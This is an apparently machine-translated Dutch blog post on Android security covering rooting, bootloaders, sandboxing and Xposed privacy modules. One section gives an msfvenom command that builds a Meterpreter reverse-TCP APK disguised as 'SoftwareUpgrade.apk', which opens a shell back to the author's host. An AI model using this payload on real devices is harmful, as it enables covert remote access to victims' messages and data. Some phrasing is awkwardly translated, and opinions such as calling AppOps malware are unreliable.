Afbeeldingsbron: pixabay.com

Inleiding tot Android

In dit onderwerp gaan we meer te weten komen over Android en Open Source Security (OS). Android is een open source platform. Het lijkt veel op Linux, maar is nog steeds veel te verschillend van Linux. Linux is veel te volwassen in vergelijking met Android. Dit is dus Chetan Nayak en welkom bij mijn volgende blog over Open Source Web Security. Ik heb deze blog geschreven in de veronderstelling dat de meesten van ons Android K, dwz Kitkat of Android L, dwz Lollipop zouden gebruiken.

De reden hiervoor is dat Gingerbread en Jellybean veel open source beveiligingsproblemen hadden die ik in dit blog niet kan bespreken. Dus misschien zal ik het de volgende keer bespreken wanneer ik dieper inga op de oudere versies van Android. Dus laten we vanaf nu bij KitKat en Lollipop blijven.

Android is ontworpen met ontwikkelaars in gedachten. Beveiligingscontroles zijn ontworpen om de last voor ontwikkelaars te verminderen. Beveiligde ontwikkelaars kunnen gemakkelijk werken met en vertrouwen op flexibele beveiligingsmaatregelen. Ontwikkelaars die minder bekend zijn met beveiliging, worden beschermd door veilige standaardwaarden.

Het begin

Ik was niet zo geïnteresseerd in Android tot het laatste kwartaal van 2013, toen ik mijn eerste Android mobiele telefoon had die Sony Xperia L was (op basis van 4.2.2 vanaf dat moment). Ik heb zelfs een hekel aan Android, omdat het extreem laggy was, vooral Samsung-apparaten. Ik heb toen zelfs overwogen om een ​​Windows Lumia te kopen, maar gelukkig speelde ik veel games en moest ik Xperia L kopen omdat deze cel Lag Proof was. Het had ongeveer 1 gig RAM en Adreno 305. Koel genoeg om alles te draaien.

Na het spelen van veel games zoals NOVA3 en ModernCombat4 raakte ik binnen een maand verveeld van die cel. Ik wist dat Android op Linux was gebaseerd en ik wilde daar wat van mijn aanpassingen aan doen. Ik begon te lezen over aanpassingen en leerde over wat werd genoemd als 'Rooting'. Omdat ik een goede backhand had in Linux, was rooten geen probleem met mij. Met een beetje hulp van XDA kon ik mijn cel succesvol rooten.

Maar toen viel me iets op. Zodra mijn cel na het rooten opnieuw werd opgestart, begon hij net met boot-looping (voor altijd vastgelopen op het opstartscherm). Ik wist niet eens wat Bootloader was in Android. Dus ik kon niets doen. Het was slechts een maand dat ik mijn nieuwe cel kocht en mijn cel was nu zachtgemetseld. Ik heb altijd gelezen dat rooten gevaarlijk is, maar ik wist niet dat het mijn Cell zou blokkeren. Maar ik zat fout. Terwijl ik doorging met het lezen van alle andere dingen over rooten, kwam ik erachter dat rooten je telefoon niet verveelt.

Rooting is net hetzelfde als en Admin Access op een computer (eigenlijk is het System Access, maar ik heb Admin Access geschreven, dus het is gemakkelijk te begrijpen voor noobs.). Dit betekent dat rooten je telefoon nooit zal blokkeren. Het was de bootloader die mijn telefoon dichtmetselde. Voor mensen die bootloader niet kennen is; bootloader is vergelijkbaar met BIOS in Windows. (Als je niet weet wat BIOS is, moet je in de eerste plaats niet eens nadenken over veiligheid.) Bootloader of Hboot (zo heet het in Android) is het eerste dat wordt uitgevoerd wanneer je je Android opstart apparaat.

Het bevat de instructies om de kernel van het besturingssysteem op te starten en de meeste zijn specifiek ontworpen om hun eigen foutopsporings- of wijzigingsomgeving uit te voeren.

Het beveiligingscontrolepunt van Android

Beschouw bootloader als het beveiligingscontrolepunt van uw apparaat. Als je dit controlepunt verbreekt, verlies je alles wat je op je telefoon hebt. Dus het is een goede beveiligingsfunctie, zeg ik. Omdat als je je telefoon verliest en iemand probeert root-toegang te krijgen om het slot te omzeilen (ervan uitgaande dat je je apparaat hebt vergrendeld met een pincode of wachtwoord), dan moet hij de bootloader verplicht ontgrendelen, wat zal resulteren in het wissen van je gegevens aan de telefoon.

U hoeft zich dus geen zorgen te maken dat iemand het misbruikt. Hetzelfde is het geval met aangepaste ROMS. ROM's zijn besturingssystemen die zijn gebaseerd op Android-versies die specifiek zijn ontworpen voor uw hardware-architectuur. Dus als je XDA aanvinkt voor je telefoon, heb je n aantal aangepaste ROM's voor je telefoons, enkele van de beroemdste zijn Cyanogen Mod ROM's, die al vooraf zijn geroot en worden geleverd met een vooraf gedefinieerde set aanpassingen .

De beveiligingsoverschrijving van Android

Je denkt misschien vanaf nu dat je een veilige mobiele telefoon hebt. Maar ik ben hier om je opnieuw ongelijk te bewijzen en dat is het hele punt van deze blog. In het tweede kwartaal van 2014 waren mensen al begonnen met het ontwikkelen van exploits en rootkits voor Android, die je mobiele telefoons konden rooten zonder zelfs de bootloaders te ontgrendelen.

Niet eng genoeg? Laat me je het gevaarlijkste gedeelte vertellen. Ze zouden daar zelfs Trojaanse paarden in kunnen installeren. Dus zelfs als de politie de cel zou kunnen traceren en u zelfs uw cel terugkrijgt, is er nog steeds een groot risico dat ze alles kunnen zien wat u op uw telefoon doet. Dit is iets dat ik heb geprobeerd als een experiment in een echte praktische omgeving.

Ik gebruikte Metasploit voor deze aanval. Wat ik deed was dat ik een Trojan had gemaakt en op de doeltelefoon had geïnstalleerd. Het was een eenvoudig apk-bestand en ik noemde het een software-upgrade. Dus als de gebruiker gewoon een gewone man is met slechts bit en byte aan informatie over beveiliging, dan durft hij deze niet eens te verwijderen. En ik zorgde ervoor dat, wanneer internet wordt geactiveerd, de door mij gemaakte malware zichzelf automatisch uitvoert en weer verbinding maakt met mijn externe poort op de hostmachine.

Volgende commando's werden gebruikt voor de aanval (Metasploit is een penetratietestsoftware die helpt bij het controleren van kwetsbaarheden op een platform of specifieke apparaten.)

Mijn host IP-adres: 192.168.xx.xx

Mijn hostpoort (om weer verbinding mee te maken): 445

>>>msfvenom

>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk

Dus hier heb ik een omgekeerd TCP-kanaal op mijn computer gemaakt. Dus, elke keer dat het internet op de Android start, krijg ik een shell geopend op mijn Kali-machine of de machine waarop ik Metasploit heb geïnstalleerd.

Dus nu weet je hoe eng het is voor een persoon die je niet eens kent, gegevens heeft over elke transactie die je via je mobiele telefoon doet, elk ander contact, WhatsApp-berichten, SMS, Viber en Skype-oproepenlogboek en alles. Als dat niet eng is, weet ik niet wat het is.

Aanbevolen cursussen

  • Certificatiecursus Ruby Debugging
  • Voltooi PHP MySQL-cursus
  • Online certificeringcursus in VB.NET-programmering
  • Online cursus over ITIL Foundation

De dekking

Genoeg over beveiligingsproblemen. We weten allemaal dat elk ander platform beveiligingsproblemen heeft. Hoe kunnen we dan veilig zijn? Dit is niet helemaal waar. Platforms kunnen tot een specifiek punt worden beveiligd, maar daarna is het aan ons om ervoor te zorgen dat dit zo blijft. Er is een berucht citaat in de wereld van beveiliging:

"Social Engineering: omdat er geen patch is voor menselijke domheid"

Ik hoorde deze zin lang geleden toen ik naar een Conferentie van DefCon keek.

Als er geen technische kwetsbaarheid is om te exploiteren, moet u proberen mensen te hacken. En daarmee bedoel ik niet hypnotisme en zo. Ik bedoel Social Engineering. U kunt mijn andere blog 'Belang van cyberbeveiliging in ons dagelijks leven' lezen voor meer informatie hierover.

Kern beveiligingsfunctie van Android

Bovendien, social engineering, iets waar alleen voor kan worden gezorgd als je slim bent; er zijn manieren om Android-applicaties op een veilige manier te ontwikkelen om ervoor te zorgen dat dit zo blijft.

Dus hier zijn enkele van de belangrijkste beveiligingsfuncties die u helpen bij het bouwen van veilige apps:

  • De Android-toepassingssandbox, die uw app-gegevens en code-uitvoering isoleert van andere apps.
  • Een applicatiekader met robuuste implementaties van algemene beveiligingsfunctionaliteit zoals cryptografie, machtigingen en veilige IPC.
  • Een gecodeerd bestandssysteem dat kan worden ingeschakeld om gegevens op verloren of gestolen apparaten te beschermen.
  • Door de gebruiker verleende machtigingen om de toegang tot systeemfuncties en gebruikersgegevens te beperken.
  • Door de toepassing gedefinieerde machtigingen om applicatiegegevens per app te beheren.

Wat kunt u doen als u een veilige omgeving wilt, maar geen ontwikkelaar bent?

Vanaf Android 5 ie Lollipop biedt het een functie waarmee de gebruiker meerdere profielen en beperkte modi kan toevoegen om telefoons en tablets te gebruiken. Trouwens, als je je telefoon hebt geroot, zijn er Android-apps in Xposed-modules zoals AppOps, Xprivacy of Privacy Guard die je kunnen helpen bijna alles te regelen. Daarvoor moet u het Xposed Framework installeren.

Xposed Framework laat Xposed-modules werken. Met Xposed-modules kunt u het gedrag van Apk-bestanden en systeembestanden wijzigen zonder dat u een ander ROM hoeft te installeren. Het is ook gemakkelijk om de wijzigingen ongedaan te maken, dus er is hier weinig risico en het is zelfs niet tijdrovend omdat het niet nodig is om meerdere ROMS, kernels en hun bugfixes te flashen.

Xprivacy, Privacy Guard en AppOps zijn blootgestelde modules waarmee je je Android kunt beveiligen door te kiezen welke app toegang moet hebben tot wat zoals internet, toetsenbord, sdcard, root-toegang en veel andere dingen. U kunt zelfs de toegang tot alleen specifieke services uitschakelen en daarvoor door de gebruiker gedefinieerde sjablonen maken. Wat mij betreft, kies ik liever voor Xprivacy. Maar hier zijn enkele info of verschillen als je smeekt om te verschillen tussen de bovenstaande drie.

AppOps:

Dit werd oorspronkelijk geïntroduceerd door Google in Android 4.3. (Dit is de belangrijkste reden waarom ik het niet ondersteun. Ik vertrouw Google niet. Noem het Paranoia, maar Google traceert alles wat je doet. En ik heb niemand nodig om alles bij te houden wat ik doe, maar als je Google vertrouwt, ga ervoor.). De belangrijkste beperking van AppOps is dat Google u alleen de toegang tot die apps toestaat die u wilt blokkeren.

Dat betekent dat als je apps die gerelateerd zijn aan Google wilt blokkeren, zoals Play Services (die eigenlijk meer dan 50% van je normale geheugen, batterij en gegevens (internet) verbruikt), dat je niet kunt. Dit is nog een reden voor mij om Google te haten. Dus ik geloof dat AppOps niets anders is dan een malware voor mij. (maar dat denk ik alleen maar zo, het is niet als je Google oprecht vertrouwt)

Privacy Guard:

Privacy Guard is een eenvoudig te gebruiken interface gemaakt ter vervanging van AppOps door Cyanogen Mod. Als je een beginner bent, raad ik je aan dit te gebruiken, omdat het alleen een aan / uit-knop heeft en zelf gedefinieerde sjablonen over welk soort app toegang moet hebben tot wat. Dit is niet zo veilig als er malware is die zich gedraagt ​​of zich voordoet als een systeem-app. Maar het is goed om te beginnen.

Xprivacy:

Xprivacy is een alles-in-één tool. Maar het is bedoeld voor experts. Je kunt het vergelijken met een Zwitsers zakmes. Het heeft alles erin en kan je telefoon op elke andere manier beveiligen, maar als je niet weet wat je doet, zal het alleen je telefoon verpesten en voorkomen dat apps zelfs starten. U kunt ook de toegang tot systeem-apps beperken. Dit is wat ik persoonlijk het liefst kies.

Naast de bovenstaande modules zijn er zelfs andere modules zoals Lightening Firewall of BootManager in Xposed, die kunnen helpen om de toegang tot internet voor specifieke apps te beperken en te voorkomen dat apps naast het systeem opstarten wanneer een telefoon opnieuw wordt opgestart.

Dus dat zou het zijn voor deze blog. In het geval van beveiligingsproblemen, kunt u zeker een bezoek brengen aan of lid worden van de XDA-website die u veel meer informatie over privacy kan geven.

Aanbevolen artikelen: -

Dit is een gids voor Android geweest. Hier hebben we het basisconcept, beveiligingscontrolepunten en de kernbeveiligingsfunctie van Android besproken. U kunt ook onze andere voorgestelde artikelen doornemen voor meer informatie -

  1. Interviewvragen voor Android - Top 10 nuttige vraag
  2. 8 Handige Siri-alternatieven voor Android
  3. 28 Beste tips & trucs voor ontwikkelingstools voor Android-apps
  4. Carrières in Android-ontwikkeling

Categorie:

Software ontwikkeling